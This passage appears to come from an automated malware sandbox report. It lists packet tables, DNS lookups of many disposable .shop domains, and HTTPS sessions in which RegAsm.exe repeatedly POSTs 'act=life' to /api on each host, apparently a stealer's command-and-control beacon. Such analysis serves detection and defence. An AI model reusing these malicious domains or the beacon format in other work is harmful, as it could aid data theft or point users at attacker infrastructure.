Sep 27, 2024 11:19:15.724508047 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:15.724730015 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:15.724739075 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.189388037 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.189594030 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.191030979 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.191042900 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.191325903 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.192579985 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.192606926 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.192662954 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.606952906 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.607198954 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.607279062 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.607371092 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.607398033 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.607413054 CEST	49707	443	192.168.2.7	104.21.77.130
Sep 27, 2024 11:19:16.607419014 CEST	443	49707	104.21.77.130	192.168.2.7
Sep 27, 2024 11:19:16.616328955 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:16.616378069 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:16.616453886 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:16.616790056 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:16.616806030 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.263047934 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.263138056 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.264866114 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.264874935 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.265222073 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.266403913 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.311408043 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.745685101 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.745743036 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.745784998 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.745789051 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.745811939 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.745845079 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.745878935 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.846967936 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.847024918 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.847098112 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.847120047 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.847153902 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.847168922 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852453947 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.852539062 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852545977 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.852588892 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852642059 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.852705002 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852770090 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852787971 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.852849960 CEST	49708	443	192.168.2.7	104.102.49.254
Sep 27, 2024 11:19:17.852855921 CEST	443	49708	104.102.49.254	192.168.2.7
Sep 27, 2024 11:19:17.868069887 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:17.868117094 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:17.868186951 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:17.868506908 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:17.868522882 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.361959934 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.362087011 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.364015102 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.364027977 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.364305019 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.365511894 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.365536928 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.365588903 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.776984930 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.777084112 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.777132988 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.780220985 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.780242920 CEST	443	49709	104.21.2.13	192.168.2.7
Sep 27, 2024 11:19:18.780255079 CEST	49709	443	192.168.2.7	104.21.2.13
Sep 27, 2024 11:19:18.780265093 CEST	443	49709	104.21.2.13	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 11:19:08.742676973 CEST	59462	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:08.752720118 CEST	53	59462	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:08.756688118 CEST	52534	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:08.769135952 CEST	53	52534	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:09.791656971 CEST	54428	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:09.806864023 CEST	53	54428	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:10.982845068 CEST	53004	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:10.998209953 CEST	53	53004	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:11.916804075 CEST	54688	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:11.931961060 CEST	53	54688	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:12.880479097 CEST	59089	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:12.894628048 CEST	53	59089	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:13.822073936 CEST	62216	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:13.838804960 CEST	53	62216	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:14.780196905 CEST	49493	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:14.792385101 CEST	53	49493	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:15.706895113 CEST	55135	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:15.723588943 CEST	53	55135	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:16.608776093 CEST	63673	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:16.615581989 CEST	53	63673	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:17.854218006 CEST	61104	53	192.168.2.7	1.1.1.1
Sep 27, 2024 11:19:17.867294073 CEST	53	61104	1.1.1.1	192.168.2.7
Sep 27, 2024 11:19:52.927088022 CEST	53	62908	162.159.36.2	192.168.2.7
Sep 27, 2024 11:19:54.049200058 CEST	53	49755	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 11:19:08.742676973 CEST	192.168.2.7	1.1.1.1	0x610e	Standard query (0)	lootebarrkeyn.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:08.756688118 CEST	192.168.2.7	1.1.1.1	0x8e84	Standard query (0)	gutterydhowi.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:09.791656971 CEST	192.168.2.7	1.1.1.1	0xbba1	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:10.982845068 CEST	192.168.2.7	1.1.1.1	0xc113	Standard query (0)	offensivedzvju.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:11.916804075 CEST	192.168.2.7	1.1.1.1	0x90ec	Standard query (0)	vozmeatillu.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:12.880479097 CEST	192.168.2.7	1.1.1.1	0x1a69	Standard query (0)	drawzhotdog.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:13.822073936 CEST	192.168.2.7	1.1.1.1	0x6321	Standard query (0)	fragnantbui.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:14.780196905 CEST	192.168.2.7	1.1.1.1	0x34b5	Standard query (0)	stogeneratmns.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:15.706895113 CEST	192.168.2.7	1.1.1.1	0x79df	Standard query (0)	reinforcenh.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:16.608776093 CEST	192.168.2.7	1.1.1.1	0xb031	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:17.854218006 CEST	192.168.2.7	1.1.1.1	0x9669	Standard query (0)	ballotnwu.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 11:19:08.752720118 CEST	1.1.1.1	192.168.2.7	0x610e	Name error (3)	lootebarrkeyn.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:08.769135952 CEST	1.1.1.1	192.168.2.7	0x8e84	No error (0)	gutterydhowi.shop		104.21.4.136	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:08.769135952 CEST	1.1.1.1	192.168.2.7	0x8e84	No error (0)	gutterydhowi.shop		172.67.132.32	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:09.806864023 CEST	1.1.1.1	192.168.2.7	0xbba1	No error (0)	ghostreedmnu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:09.806864023 CEST	1.1.1.1	192.168.2.7	0xbba1	No error (0)	ghostreedmnu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:10.998209953 CEST	1.1.1.1	192.168.2.7	0xc113	No error (0)	offensivedzvju.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:10.998209953 CEST	1.1.1.1	192.168.2.7	0xc113	No error (0)	offensivedzvju.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:11.931961060 CEST	1.1.1.1	192.168.2.7	0x90ec	No error (0)	vozmeatillu.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:11.931961060 CEST	1.1.1.1	192.168.2.7	0x90ec	No error (0)	vozmeatillu.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:12.894628048 CEST	1.1.1.1	192.168.2.7	0x1a69	No error (0)	drawzhotdog.shop		104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:12.894628048 CEST	1.1.1.1	192.168.2.7	0x1a69	No error (0)	drawzhotdog.shop		172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:13.838804960 CEST	1.1.1.1	192.168.2.7	0x6321	No error (0)	fragnantbui.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:13.838804960 CEST	1.1.1.1	192.168.2.7	0x6321	No error (0)	fragnantbui.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:14.792385101 CEST	1.1.1.1	192.168.2.7	0x34b5	No error (0)	stogeneratmns.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:14.792385101 CEST	1.1.1.1	192.168.2.7	0x34b5	No error (0)	stogeneratmns.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:15.723588943 CEST	1.1.1.1	192.168.2.7	0x79df	No error (0)	reinforcenh.shop		104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:15.723588943 CEST	1.1.1.1	192.168.2.7	0x79df	No error (0)	reinforcenh.shop		172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:16.615581989 CEST	1.1.1.1	192.168.2.7	0xb031	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:17.867294073 CEST	1.1.1.1	192.168.2.7	0x9669	No error (0)	ballotnwu.site		104.21.2.13	A (IP address)	IN (0x0001)	false
Sep 27, 2024 11:19:17.867294073 CEST	1.1.1.1	192.168.2.7	0x9669	No error (0)	ballotnwu.site		172.67.128.144	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gutterydhowi.shop

ghostreedmnu.shop

offensivedzvju.shop

vozmeatillu.shop

drawzhotdog.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

steamcommunity.com

ballotnwu.site

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.21.4.136	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:09 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-27 09:19:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:09 UTC	782	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dh9v9je0u020qao894rkkbcbvp; expires=Tue, 21 Jan 2025 03:05:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h%2B3atq%2FmuYzeBTyR9TFzOM%2BU5%2BtqqdTgF9iLX4D9DafN60EZvPFQxtddUusikndxOYY2PtGo4QSgvMfQALyGaPkTHYW27yNTW2VHwkBro1td3SRXdfrJ%2B%2FKj%2BJGpflSGKxokrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a69139b2642e7-EWR
2024-09-27 09:19:09 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	188.114.96.3	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:10 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-27 09:19:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:10 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rch7dlgbj0n19hm22equgpq76j; expires=Tue, 21 Jan 2025 03:05:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zarY43iEh%2B66RLFGc%2BN93Xb3tNKQF7x32RUi55ZNhz%2F%2FTPLpuWPMDKJdZGRXgzFjc5qrh%2FDE5LSziOB3%2FwxCHlL02auXw%2FX0oNNOxzIBZPHcllh%2FKoMwxvLMfu0L9v2vI11kEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a691b3f6d0fa8-EWR
2024-09-27 09:19:10 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	188.114.96.3	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:11 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-27 09:19:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:11 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e05ibca6982gcfbju1n0vhbldk; expires=Tue, 21 Jan 2025 03:05:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tXpJJ%2BarDZKyvuQHE5tyG8aXYxvP%2Bg6YrwtaK2YU9R6XyYwtwaM9in1Qndkpn1jb3NG6%2FkJ8iZXiR6Dz7%2B%2FOe50JyTRZyipIhDhz%2BYLaZJPpgYicbZ2l%2FY%2BvQHtm0h%2FGtzs5iHop"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a69212ef67c8e-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 09:19:11 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	188.114.97.3	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-27 09:19:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:12 UTC	768	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=krtj7surbme1mffqba02rgikno; expires=Tue, 21 Jan 2025 03:05:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GhryVhrSHLVdU4jSMswLOcgd5QYYpNf1rcljCj%2B%2FdhSk8AgYugaYrdBI8y6ArO5%2F1SxhUPRI4Njr7RSxTR3QrizA7GHvUTUi7DPmAx%2Ba4bFDGDC5sIEvbiqeaKDCsilbeIZb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a69272c787c9a-EWR
2024-09-27 09:19:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49704	104.21.58.182	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-27 09:19:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:13 UTC	776	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fou2do1ejtosajn876pobgkbqd; expires=Tue, 21 Jan 2025 03:05:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KoEchm%2FhQ4ENCu6hCqD4j%2BS%2BHWpgEKm9nmmhYfoFBdgYFiFF11NuQYIl2IDS2V7ylk2r5%2BgZ1%2BmcwwH6U12VZ1mJpycj1nZ10WItUQ8buRBX9Q4X%2FJVtibmMDk%2FQCaE%2BZiWQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a692d1c1843a7-EWR
2024-09-27 09:19:13 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49705	188.114.97.3	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:14 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-27 09:19:14 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:14 UTC	760	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=32hsjufs57p0d17mq4j4g0c715; expires=Tue, 21 Jan 2025 03:05:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t3BatVoyLFWyIpcJEN5PMq3kGSyYV4PuLKMofToz734pkobzvP3Ropx68oUDYLHWWvAZb2PK8GsUhLT3t4JYVQCuuskrkSIP5UT0x7S8VwdrblzwH1s2oOw4ASVkSPI566eP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a69330f8d5e66-EWR
2024-09-27 09:19:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49706	188.114.96.3	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:15 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-27 09:19:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-27 09:19:15 UTC	774	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 09:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p2n7f4pmusqft1agg8loj21ur7; expires=Tue, 21 Jan 2025 03:05:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GPw%2FqhFUZKGZDWmzJPDUtJqPXgla911vEyk6CdNH1l8bK6q6Prt%2BmzAsOvNAD9ZdBAug8mUXDldyZO7PVU0QdhsYfR3V8jj3LTm2%2BVgNM%2FjgZvLN9rpe5pxkKb1U24Evv6EayqQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9a6938e80f4368-EWR
2024-09-27 09:19:15 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-27 09:19:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49707	104.21.77.130	443	1448	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 09:19:16 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-27 09:19:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
